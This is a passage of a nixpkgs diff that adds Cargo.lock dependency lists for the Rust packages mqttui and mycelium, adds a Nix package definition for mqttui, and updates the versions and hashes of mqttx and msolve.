+dependencies = [ + "once_cell", +] + +[[package]] +name = "tui-tree-widget" +version = "0.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fb0c6f924587e719c50b8f83485afbe4d4c16edca6b641d5d9a3204edeba5cf0" +dependencies = [ + "ratatui", + "unicode-width", +] + +[[package]] +name = "tungstenite" +version = "0.20.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e3dac10fd62eaf6617d3a904ae222845979aec67c615d1c842b4002c7666fb9" +dependencies = [ + "byteorder", + "bytes", + "data-encoding", + "http", + "httparse", + "log", + "rand", + "rustls", + "sha1", + "thiserror", + "url", + "utf-8", +] + +[[package]] +name = "typenum" +version = "1.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42ff0bf0c66b8238c6f3b578df37d0b7848e55df8577b3f74f92a69acceeb825" + +[[package]] +name = "unicode-bidi" +version = "0.3.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08f95100a766bf4f8f28f90d77e0a5461bbdb219042e7679bebe79004fed8d75" + +[[package]] +name = "unicode-ident" +version = "1.0.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" + +[[package]] +name = "unicode-normalization" +version = "0.1.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a56d1686db2308d901306f92a263857ef59ea39678a5458e7cb17f01415101f5" +dependencies = [ + "tinyvec", +] + +[[package]] +name = "unicode-segmentation" +version = "1.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d4c87d22b6e3f4a18d4d40ef354e97c90fcb14dd91d7dc0aa9d8a1172ebf7202" + +[[package]] +name = "unicode-width" +version = "0.1.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e51733f11c9c4f72aa0c160008246859e340b00807569a0da0e7a1079b27ba85" + +[[package]] +name = "untrusted" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" + +[[package]] +name = "url" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "31e6302e3bb753d46e83516cae55ae196fc0c309407cf11ab35cc51a4c2a4633" +dependencies = [ + "form_urlencoded", + "idna", + "percent-encoding", +] + +[[package]] +name = "utf-8" +version = "0.7.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09cc8ee72d2a9becf2f2febe0205bbed8fc6615b7cb429ad062dc7b7ddd036a9" + +[[package]] +name = "utf8parse" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a" + +[[package]] +name = "version_check" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" + +[[package]] +name = "wasi" +version = "0.11.0+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" + +[[package]] +name = "wasm-bindgen" +version = "0.2.91" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c1e124130aee3fb58c5bdd6b639a0509486b0338acaaae0c84a5124b0f588b7f" +dependencies = [ + "cfg-if", + "wasm-bindgen-macro", +] + +[[package]] +name = "wasm-bindgen-backend" +version = "0.2.91" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c9e7e1900c352b609c8488ad12639a311045f40a35491fb69ba8c12f758af70b" +dependencies = [ + "bumpalo", + "log", + "once_cell", + "proc-macro2", + "quote", + "syn 2.0.51", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.91" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b30af9e2d358182b5c7449424f017eba305ed32a7010509ede96cdc4696c46ed" +dependencies = [ + "quote", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.91" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "642f325be6301eb8107a83d12a8ac6c1e1c54345a7ef1a9261962dfefda09e66" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.51", + "wasm-bindgen-backend", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.91" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4f186bd2dcf04330886ce82d6f33dd75a7bfcf69ecf5763b89fcde53b6ac9838" + +[[package]] +name = "winapi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +dependencies = [ + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", +] + +[[package]] +name = "winapi-i686-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" + +[[package]] +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + +[[package]] +name = "windows-core" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "33ab640c8d7e35bf8ba19b884ba838ceb4fba93a4e8c65a9059d08afcfc683d9" +dependencies = [ + "windows-targets 0.52.3", +] + +[[package]] +name = "windows-sys" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" +dependencies = [ + "windows-targets 0.48.5", +] + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets 0.52.3", +] + +[[package]] +name = "windows-targets" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" +dependencies = [ + "windows_aarch64_gnullvm 0.48.5", + "windows_aarch64_msvc 0.48.5", + "windows_i686_gnu 0.48.5", + "windows_i686_msvc 0.48.5", + "windows_x86_64_gnu 0.48.5", + "windows_x86_64_gnullvm 0.48.5", + "windows_x86_64_msvc 0.48.5", +] + +[[package]] +name = "windows-targets" +version = "0.52.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d380ba1dc7187569a8a9e91ed34b8ccfc33123bbacb8c0aed2d1ad7f3ef2dc5f" +dependencies = [ + "windows_aarch64_gnullvm 0.52.3", + "windows_aarch64_msvc 0.52.3", + "windows_i686_gnu 0.52.3", + "windows_i686_msvc 0.52.3", + "windows_x86_64_gnu 0.52.3", + "windows_x86_64_gnullvm 0.52.3", + "windows_x86_64_msvc 0.52.3", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68e5dcfb9413f53afd9c8f86e56a7b4d86d9a2fa26090ea2dc9e40fba56c6ec6" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8dab469ebbc45798319e69eebf92308e541ce46760b49b18c6b3fe5e8965b30f" + +[[package]] +name = "windows_i686_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2a4e9b6a7cac734a8b4138a4e1044eac3404d8326b6c0f939276560687a033fb" + +[[package]] +name = "windows_i686_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "28b0ec9c422ca95ff34a78755cfa6ad4a51371da2a5ace67500cf7ca5f232c58" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "704131571ba93e89d7cd43482277d6632589b18ecf4468f591fbae0a8b101614" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42079295511643151e98d61c38c0acc444e52dd42ab456f7ccfd5152e8ecf21c" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0770833d60a970638e989b3fa9fd2bb1aaadcf88963d1659fd7d9990196ed2d6" + +[[package]] +name = "ws_stream_tungstenite" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e283cc794a890f5bdc01e358ad7c34535025f79ba83c1b5c7e01e5d6c60b336d" +dependencies = [ + "async-tungstenite", + "async_io_stream", + "bitflags 2.4.2", + "futures-core", + "futures-io", + "futures-sink", + "futures-util", + "pharos", + "rustc_version", + "tokio", + "tracing", + "tungstenite", +] + +[[package]] +name = "zerocopy" +version = "0.7.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "74d4d3961e53fa4c9a25a8637fc2bfaf2595b3d3ae34875568a5cf64787716be" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.7.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ce1b18ccd8e73a9321186f97e46f9f04b778851177567b1975109d26a08d2a6" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.51", +] diff --git a/pkgs/by-name/mq/mqttui/package.nix b/pkgs/by-name/mq/mqttui/package.nix new file mode 100644 index 0000000000000..6c7ca4cb46292 --- /dev/null +++ b/pkgs/by-name/mq/mqttui/package.nix @@ -0,0 +1,40 @@ +{ lib +, stdenv +, fetchFromGitHub +, rustPlatform +, darwin +}: + +rustPlatform.buildRustPackage rec { + pname = "mqttui"; + version = "0.20.0"; + + src = fetchFromGitHub { + owner = "EdJoPaTo"; + repo = "mqttui"; + rev = "refs/tags/v${version}"; + hash = "sha256-NfRPuZFZMZl1ulEGD5oQkS25oJdBVyLiN3QCQWrDej8="; + }; + + cargoLock = { + lockFile = ./Cargo.lock; + outputHashes = { + "ratatui-binary-data-widget-0.1.0" = "sha256-4/8ZZag7vpEXnh6wJvZkgGLrOQNJXsnek3gFG/F0+zY="; + }; + }; + + postPatch = '' + ln -sf ${./Cargo.lock} Cargo.lock + ''; + + buildInputs = lib.optional stdenv.isDarwin darwin.apple_sdk.frameworks.Security; + + meta = with lib; { + description = "Terminal client for MQTT"; + homepage = "https://github.com/EdJoPaTo/mqttui"; + changelog = "https://github.com/EdJoPaTo/mqttui/blob/v${version}/CHANGELOG.md"; + license = licenses.gpl3Only; + maintainers = with maintainers; [ fab sikmir ]; + mainProgram = "mqttui"; + }; +} diff --git a/pkgs/by-name/mq/mqttx/package.nix b/pkgs/by-name/mq/mqttx/package.nix index ac37585846622..f2c22d54ade8a 100644 --- a/pkgs/by-name/mq/mqttx/package.nix +++ b/pkgs/by-name/mq/mqttx/package.nix @@ -7,17 +7,17 @@ let pname = "mqttx"; - version = "1.9.8"; + version = "1.9.9"; suffixedUrl = suffix: "https://github.com/emqx/MQTTX/releases/download/v${version}/MQTTX-${version}${suffix}.AppImage"; sources = { "aarch64-linux" = fetchurl { url = suffixedUrl "-arm64"; - hash = "sha256-pdR9LwWgFdO0Dtn7ByyYKpLrfoBnl75TzQ31aIAJ/gs="; + hash = "sha256-mCCRvLS6diKoKYZNUMsyiWyFWmyYYB0pAxNT0yriJHI="; }; "x86_64-linux" = fetchurl { url = suffixedUrl ""; - hash = "sha256-XHAroiFuUcK0aUleNDskI1bfVX7HfTvIvSup9gKJj1w="; + hash = "sha256-InGfGiT3c5M8ueFZl5/hFmYRPeXnwSCUPhAqmz0jsU8="; }; }; diff --git a/pkgs/by-name/ms/msolve/package.nix b/pkgs/by-name/ms/msolve/package.nix index 03dd757858728..3a8fe18b063c8 100644 --- a/pkgs/by-name/ms/msolve/package.nix +++ b/pkgs/by-name/ms/msolve/package.nix @@ -9,13 +9,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "msolve"; - version = "0.6.4"; + version = "0.6.5"; src = fetchFromGitHub { owner = "algebraic-solving"; repo = "msolve"; rev = "v${finalAttrs.version}"; - hash = "sha256-XSV279cw1svAF+uyVmkUodX4FkltDesXsge4QKHqM1o="; + hash = "sha256-qCquagxj31ih0r5kE4x/jsIBI+KBgrMa3HcBGuhlufk="; }; postPatch = '' diff --git a/pkgs/by-name/my/mycelium/Cargo.lock b/pkgs/by-name/my/mycelium/Cargo.lock new file mode 100644 index 0000000000000..8979931acce8c --- /dev/null +++ b/pkgs/by-name/my/mycelium/Cargo.lock @@ -0,0 +1,2544 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "addr2line" +version = "0.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a30b2e23b9e17a9f90641c7ab1549cd9b44f296d3ccbf309d2863cfe398a0cb" +dependencies = [ + "gimli", +] + +[[package]] +name = "adler" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe" + +[[package]] +name = "aead" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d122413f284cf2d62fb1b7db97e02edb8cda96d769b16e443a4f6195e35662b0" +dependencies = [ + "crypto-common", + "generic-array", +] + +[[package]] +name = "aes" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac1f845298e95f983ff1944b728ae08b8cebab80d684f0a832ed0fc74dfa27e2" +dependencies = [ + "cfg-if", + "cipher", + "cpufeatures", +] + +[[package]] +name = "aes-gcm" +version = "0.10.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "831010a0f742e1209b3bcea8fab6a8e149051ba6099432c8cb2cc117dec3ead1" +dependencies = [ + "aead", + "aes", + "cipher", + "ctr", + "ghash", + "subtle", +] + +[[package]] +name = "aho-corasick" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2969dcb958b36655471fc61f7e416fa76033bdd4bfed0678d8fee1e2d07a1f0" +dependencies = [ + "memchr", +] + +[[package]] +name = "anstream" +version = "0.6.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e2e1ebcb11de5c03c67de28a7df593d32191b44939c482e97702baaaa6ab6a5" +dependencies = [ + "anstyle", + "anstyle-parse", + "anstyle-query", + "anstyle-wincon", + "colorchoice", + "utf8parse", +] + +[[package]] +name = "anstyle" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7079075b41f533b8c61d2a4d073c4676e1f8b249ff94a393b0595db304e0dd87" + +[[package]] +name = "anstyle-parse" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c75ac65da39e5fe5ab759307499ddad880d724eed2f6ce5b5e8a26f4f387928c" +dependencies = [ + "utf8parse", +] + +[[package]] +name = "anstyle-query" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e28923312444cdd728e4738b3f9c9cac739500909bb3d3c94b43551b16517648" +dependencies = [ + "windows-sys 0.52.0", +] + +[[package]] +name = "anstyle-wincon" +version = "3.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1cd54b81ec8d6180e24654d0b371ad22fc3dd083b6ff8ba325b72e00c87660a7" +dependencies = [ + "anstyle", + "windows-sys 0.52.0", +] + +[[package]] +name = "anyhow" +version = "1.0.79" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "080e9890a082662b09c1ad45f567faeeb47f22b5fb23895fbe1e651e718e25ca" + +[[package]] +name = "arrayref" +version = "0.3.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6b4930d2cb77ce62f89ee5d5289b4ac049559b1c45539271f5ed4fdc7db34545" + +[[package]] +name = "arrayvec" +version = "0.7.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96d30a06541fbafbc7f82ed10c06164cfbd2c401138f6addd8404629c4b16711" + +[[package]] +name = "async-trait" +version = "0.1.77" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c980ee35e870bd1a4d2c8294d4c04d0499e67bca1e4b5cefcc693c2fa00caea9" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "autocfg" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" + +[[package]] +name = "axum" +version = "0.6.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b829e4e32b91e643de6eafe82b1d90675f5874230191a4ffbc1b336dec4d6bf" +dependencies = [ + "async-trait", + "axum-core", + "bitflags 1.3.2", + "bytes", + "futures-util", + "http", + "http-body", + "hyper", + "itoa", + "matchit", + "memchr", + "mime", + "percent-encoding", + "pin-project-lite", + "rustversion", + "serde", + "serde_json", + "serde_path_to_error", + "serde_urlencoded", + "sync_wrapper", + "tokio", + "tower", + "tower-layer", + "tower-service", +] + +[[package]] +name = "axum-core" +version = "0.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "759fa577a247914fd3f7f76d62972792636412fbfd634cd452f6a385a74d2d2c" +dependencies = [ + "async-trait", + "bytes", + "futures-util", + "http", + "http-body", + "mime", + "rustversion", + "tower-layer", + "tower-service", +] + +[[package]] +name = "backtrace" +version = "0.3.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2089b7e3f35b9dd2d0ed921ead4f6d318c27680d4a5bd167b3ee120edb105837" +dependencies = [ + "addr2line", + "cc", + "cfg-if", + "libc", + "miniz_oxide", + "object", + "rustc-demangle", +] + +[[package]] +name = "base64" +version = "0.21.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567" + +[[package]] +name = "bitflags" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" + +[[package]] +name = "bitflags" +version = "2.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed570934406eb16438a4e976b1b4500774099c13b8cb96eec99f620f05090ddf" + +[[package]] +name = "blake2" +version = "0.10.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "46502ad458c9a52b69d4d4d32775c788b7a1b85e8bc9d482d92250fc0e3f8efe" +dependencies = [ + "digest", +] + +[[package]] +name = "blake3" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0231f06152bf547e9c2b5194f247cd97aacf6dcd8b15d8e5ec0663f64580da87" +dependencies = [ + "arrayref", + "arrayvec", + "cc", + "cfg-if", + "constant_time_eq", +] + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "bumpalo" +version = "3.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f30e7476521f6f8af1a1c4c0b8cc94f0bee37d91763d0ca2665f299b6cd8aec" + +[[package]] +name = "byteorder" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" + +[[package]] +name = "bytes" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2bd12c1caf447e69cd4528f47f94d203fd2582878ecb9e9465484c4148a8223" + +[[package]] +name = "c2rust-bitfields" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b43c3f07ab0ef604fa6f595aa46ec2f8a22172c975e186f6f5bf9829a3b72c41" +dependencies = [ + "c2rust-bitfields-derive", +] + +[[package]] +name = "c2rust-bitfields-derive" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3cbc102e2597c9744c8bd8c15915d554300601c91a079430d309816b0912545" +dependencies = [ + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "cc" +version = "1.0.83" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1174fb0b6ec23863f8b971027804a42614e347eafb0a95bf0b12cdae21fc4d0" +dependencies = [ + "libc", +] + +[[package]] +name = "cfg-if" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" + +[[package]] +name = "cipher" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad" +dependencies = [ + "crypto-common", + "inout", +] + +[[package]] +name = "clap" +version = "4.4.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e578d6ec4194633722ccf9544794b71b1385c3c027efe0c55db226fc880865c" +dependencies = [ + "clap_builder", + "clap_derive", +] + +[[package]] +name = "clap_builder" +version = "4.4.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4df4df40ec50c46000231c914968278b1eb05098cf8f1b3a518a95030e71d1c7" +dependencies = [ + "anstream", + "anstyle", + "clap_lex", + "strsim", +] + +[[package]] +name = "clap_derive" +version = "4.4.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf9804afaaf59a91e75b022a30fb7229a7901f60c755489cc61c9b423b836442" +dependencies = [ + "heck", + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "clap_lex" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "702fc72eb24e5a1e48ce58027a675bc24edd52096d5397d4aea7c6dd9eca0bd1" + +[[package]] +name = "colorchoice" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "acbf1af155f9b9ef647e42cdc158db4b64a1b61f743629225fde6f3e0be2a7c7" + +[[package]] +name = "constant_time_eq" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f7144d30dcf0fafbce74250a3963025d8d52177934239851c917d29f1df280c2" + +[[package]] +name = "core-foundation" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "core-foundation-sys" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "06ea2b9bc92be3c2baa9334a323ebca2d6f074ff852cd1d7b11064035cd3868f" + +[[package]] +name = "cpufeatures" +version = "0.2.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53fe5e26ff1b7aef8bca9c6080520cfb8d9333c7568e1829cef191a9723e5504" +dependencies = [ + "libc", +] + +[[package]] +name = "crypto-common" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" +dependencies = [ + "generic-array", + "rand_core", + "typenum", +] + +[[package]] +name = "ctr" +version = "0.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0369ee1ad671834580515889b80f2ea915f23b8be8d0daa4bbaf2ac5c7590835" +dependencies = [ + "cipher", +] + +[[package]] +name = "curve25519-dalek" +version = "4.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e89b8c6a2e4b1f45971ad09761aafb85514a84744b67a95e32c3cc1352d1f65c" +dependencies = [ + "cfg-if", + "cpufeatures", + "curve25519-dalek-derive", + "fiat-crypto", + "platforms", + "rustc_version", + "subtle", + "zeroize", +] + +[[package]] +name = "curve25519-dalek-derive" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f46882e17999c6cc590af592290432be3bce0428cb0d5f8b6715e4dc7b383eb3" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "deranged" +version = "0.3.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b42b6fa04a440b495c8b04d0e71b707c585f83cb9cb28cf8cd0d976c315e31b4" +dependencies = [ + "powerfmt", +] + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "crypto-common", + "subtle", +] + +[[package]] +name = "encoding_rs" +version = "0.8.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7268b386296a025e474d5140678f75d6de9493ae55a5d709eeb9dd08149945e1" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "env_logger" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4cd405aab171cb85d6735e5c8d9db038c17d3ca007a4d2c25f337935c3d90580" +dependencies = [ + "humantime", + "is-terminal", + "log", + "regex", + "termcolor", +] + +[[package]] +name = "equivalent" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5443807d6dff69373d433ab9ef5378ad8df50ca6298caf15de6e52e24aaf54d5" + +[[package]] +name = "errno" +version = "0.3.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a258e46cdc063eb8519c00b9fc845fc47bcfca4130e2f08e88665ceda8474245" +dependencies = [ + "libc", + "windows-sys 0.52.0", +] + +[[package]] +name = "etherparse" +version = "0.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "827292ea592108849932ad8e30218f8b1f21c0dfd0696698a18b5d0aed62d990" +dependencies = [ + "arrayvec", +] + +[[package]] +name = "faster-hex" +version = "0.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "239f7bfb930f820ab16a9cd95afc26f88264cf6905c960b340a615384aa3338a" +dependencies = [ + "serde", +] + +[[package]] +name = "fiat-crypto" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "27573eac26f4dd11e2b1916c3fe1baa56407c83c71a773a8ba17ec0bca03b6b7" + +[[package]] +name = "fnv" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" + +[[package]] +name = "form_urlencoded" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e13624c2627564efccf4934284bdd98cbaa14e79b0b5a141218e507b3a823456" +dependencies = [ + "percent-encoding", +] + +[[package]] +name = "futures" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "645c6916888f6cb6350d2550b80fb63e734897a8498abe35cfb732b6487804b0" +dependencies = [ + "futures-channel", + "futures-core", + "futures-executor", + "futures-io", + "futures-sink", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-channel" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eac8f7d7865dcb88bd4373ab671c8cf4508703796caa2b1985a9ca867b3fcb78" +dependencies = [ + "futures-core", + "futures-sink", +] + +[[package]] +name = "futures-core" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dfc6580bb841c5a68e9ef15c77ccc837b40a7504914d52e47b8b0e9bbda25a1d" + +[[package]] +name = "futures-executor" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a576fc72ae164fca6b9db127eaa9a9dda0d61316034f33a0a0d4eda41f02b01d" +dependencies = [ + "futures-core", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-io" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a44623e20b9681a318efdd71c299b6b222ed6f231972bfe2f224ebad6311f0c1" + 